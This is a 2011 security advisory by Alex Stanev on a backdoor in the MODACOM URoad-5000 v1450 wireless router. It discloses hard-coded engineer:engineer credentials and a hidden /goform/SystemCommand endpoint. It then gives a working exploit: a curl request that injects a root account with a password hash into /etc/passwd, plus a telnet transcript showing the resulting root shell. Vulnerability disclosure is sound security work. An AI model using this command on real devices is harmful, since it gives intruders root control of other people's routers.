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# Title : MODACOM URoad-5000 v1450 Remote Command Execution/Backdoor
# Published : 2011-06-02
# Author : Alex Stanev
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      ================================================     == Alex Stanev Security Advisory #4 @31.05.2011 ==     ==             http://sec.stanev.org            ==      ================================================PRODUCT     URoad-5000VENDOR     MODACOM [http://www.modacom.co.kr]VERSIONS AFFECTED     v1450CLASS     Remote command execution/BackdoorPRODUCT DESCRIPTION     URoad-5000 is integrated battery powered wireless router. It comes with only one external USB     interface and no other hardware comm interfaces (such as ethernet). Based on RaLink SoC 3050.     The USB port is used for connection with MW-U3050, which is USB WiMAX dongle.     Linux inside.     Often marketed as WiMAX 2 WiFi "converter".THE PROBLEM     The box uses modified version of RaLink SDK. The standard web interface is accessed via HTTP.     1) Web administration interface can be accessed with standard user/password pair admin:admin     This can be later changed, but there is another possible access pair - engineer:engineer     and it can't be changed via the web interface.     2) Some of the SDK standard scripts are left and their screens in the web interface are just     HTML commented. This reveals the /goform/SystemCommand method.EXPLOIT     1) Remote add r00t user with password boza          $curl --basic -u "engineer:engineer" /	        -d "command=echo -e /"r00t:CRYM.sLY1U1AI:0:0:Adminstrator:/:/bin/sh/" >> /etc/passwd;&SystemCommandSubmit=Apply" /          $telnet          Trying          Connected to          modacom login: r00t          Password: boza          BusyBox v1.12.1 (2010-03-05 21:33:57 KST) built-in shell (ash)          Enter 'help' for a list of built-in commands.          #ADDITIONAL INFO     The flaw was presented on OpenFest 2010.     Presentation: http://openfest.org/files/slides-2010/OpenFest2010_Reverse_engineering_Alex_Stanev.pdf [in bulgarian]PATCH/WORKAROUND     No workaround possible. Next version?VENDOR STATUS     NOT informed. Backdoor.     =========================    ==           EOF         ==    == http://sec.stanev.org ==     =========================